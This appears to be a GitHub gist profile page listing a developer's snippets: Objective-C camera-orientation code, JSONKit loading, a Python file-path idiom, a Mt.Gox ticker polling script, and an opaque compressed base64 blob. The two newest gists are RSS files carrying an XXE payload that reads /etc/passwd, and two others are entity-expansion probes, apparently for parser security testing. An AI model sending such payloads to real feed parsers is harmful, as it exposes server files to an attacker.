Skip to content

Instantly share code, notes, and snippets.

View npinto's full-sized avatar

Nicolas Pinto npinto

View GitHub Profile
@npinto
npinto / x
Created May 22, 2026 06:34
x
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<rss version="2.0">
<channel>
<title>Feed</title>
<link>http://example.com</link>
<description>T</description>
<item>
@npinto
npinto / r
Last active May 22, 2026 06:33
t
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<rss version="2.0">
<channel>
<title>Feed</title>
<link>http://example.com</link>
<description>Test</description>
<item>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY test "XXE_WORKS_HERE">
]>
<rss version="2.0">
<channel>
<title>&test;</title>
<link>http://example.com</link>
<description>Test</description>
<item>
@npinto
npinto / rss.xml
Last active May 22, 2026 06:22
test rss
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY test "XXE_WORKS_HERE">
]>
<rss version="2.0">
<channel>
<title>&test;</title>
<link>http://example.com</link>
<description>Test</description>
<item>
/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4Lm/JtVdABGIQkeKIzPDdw8z/VWX7afH8OoqQzbKL4Iz7tSFFkMdIy8jA9EeDe5h3J7h69bZuC/n1U2tbP9jEkDkL4mOy6OEu3RFE3hFW32WW+XSengYUt1tNCxkG+E+mTQfShqGGAyfeo7ue1CqBQpB15Us8h38aeQEslIDyDWxH0Ps+uaPCymEWVWqQtYxps/p4mIp9Bbbs1/RBT8yZYVUMDngodZwYYoO7bYmmc8azR46rjc8fbV5QTj+Mm2vaBCadRS8Z9Z1kCHGHbt5mIIbhE7x/fOCRQY/yqrvU1GtykYQiI+FC8E45UEN/Gz2AIdwIPiff8Y5Yrp2LKlHVii5phjW2zghzeHUknCRFclxHAdCfxwygR9SYB7kjCpSMtV/3nQpXNS4HN0e8broV43GXzJKRZHv1UW6RQpkeX/zHzIBM8PqQTbD58PVa+XhFsYYwaxdrIDyyuYA9qo9Csq4RZC3WDJ98isUK5Ip7/lsPnSnZU4KRWBSHHgWtWScB+qp7zAuGlScMwBsLlDJPNpJr9GFbHLEjsj63Lgd7IAsbT1xClHptlPFWebhkhnvClYETuoE/XHgC14me6b98IDZCbxVFjlYO3VyY+H6i+vcQBh9wMjpi+A3f7fNyq9BF8DMzD3uXm8AgmDxHPWPIrqoTkSPB8twvlPoawEnuITdv6ib83c+6UOI0lLTWfbNaMHYonLAJ3o8iXQTVic0TCc4+0Ij4VMl1H0ZoNqPUHUyhFwbCBe1lm0a3KhLQwwRX0eZaiBosyc+eqNOsFHuRbSqSw/GMuUTCXfzln8rdM7325jEdPVJ3OUafp97WudP20RSCjxXQy2XM07JpCgAM06JB16xfY8P7IOSP0Cne9Xpb7dey6Ei+iQie96O+4GModmI7AloNyDfASL5L1em2P2bnw/sy6blUU8RjlYE7a9W/9nN1A/8gpTAojWUziEOJM+0UsNoORq5gqiKmCvlKrElkfz+kaeG
#!/bin/bash
watch -n 10 'curl https://data.mtgox.com/api/2/BTCUSD/money/ticker | tee data/ticker.$(date +"%Y-%m-%d_%R:%S.%N").json | python -mjson.tool; for f in data/*.json; do gzip $f; done;'
@npinto
npinto / imageOrientation.mm
Created January 31, 2013 09:07
imageOrientation.mm
UIImageOrientation imageOrientation;
if (UserDefaults.usingFrontCamera) {
switch (curDeviceOrientation) {
case UIDeviceOrientationLandscapeLeft:
imageOrientation = UIImageOrientationDown;
break;
case UIDeviceOrientationLandscapeRight:
imageOrientation = UIImageOrientationUp;
break;
case UIDeviceOrientationPortraitUpsideDown:
@npinto
npinto / exifOrientation.mm
Created January 31, 2013 09:05
exifOrientation.m
UIDeviceOrientation curDeviceOrientation = [[UIDevice currentDevice] orientation];
enum {
PHOTOS_EXIF_0ROW_TOP_0COL_LEFT = 1, // 1 = 0th row is at the top, and 0th column is on the left (THE DEFAULT).
PHOTOS_EXIF_0ROW_TOP_0COL_RIGHT = 2, // 2 = 0th row is at the top, and 0th column is on the right.
PHOTOS_EXIF_0ROW_BOTTOM_0COL_RIGHT = 3, // 3 = 0th row is at the bottom, and 0th column is on the right.
PHOTOS_EXIF_0ROW_BOTTOM_0COL_LEFT = 4, // 4 = 0th row is at the bottom, and 0th column is on the left.
PHOTOS_EXIF_0ROW_LEFT_0COL_TOP = 5, // 5 = 0th row is on the left, and 0th column is the top.
PHOTOS_EXIF_0ROW_RIGHT_0COL_TOP = 6, // 6 = 0th row is on the right, and 0th column is the top.
PHOTOS_EXIF_0ROW_RIGHT_0COL_BOTTOM = 7, // 7 = 0th row is on the right, and 0th column is the bottom.
@npinto
npinto / json_bundle.m
Created January 22, 2013 23:05
JSONKit w/ NSBundle file
NSString* jsonPath = [[NSBundle mainBundle] pathForResource:@"arr_fb" ofType:@"json"];
NSData* jsonData = [NSData dataWithContentsOfFile:jsonPath];
JSONDecoder* decoder = [[JSONDecoder alloc] initWithParseOptions:JKParseOptionNone];
NSDictionary* json = [decoder objectWithData:jsonData];
NSArray* shape = [json objectForKey:@"shape"];
NSUInteger fbn_ = [[shape objectAtIndex:0] intValue];
@npinto
npinto / __location__.py
Created October 17, 2012 08:33
How to reliably open a file in the same directory as a Python script
import os
from os import path
__location__ = path.realpath(path.join(os.getcwd(), path.dirname(__file__)))